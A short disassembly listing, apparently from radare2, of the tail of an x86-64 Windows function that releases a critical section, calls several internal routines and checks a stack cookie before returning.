mov dword [rdi + 0x138], ebx
mov ebx, esi
lea rcx, [0x1400acda8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
mov rsi, qword [rsp + 0x110]
je 0x140017c75
mov rcx, rdi
call fcn.140008ef0
mov rcx, rdi
call fcn.140009090
mov rcx, rdi
call fcn.140009750
mov rcx, rdi
call fcn.140009230
mov rcx, rdi
call fcn.140009590
mov rcx, rdi
call fcn.1400093d0
mov eax, ebx
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.14005fe20
mov rbx, qword [rsp + 0x120]
add rsp, 0x100
pop rdi
ret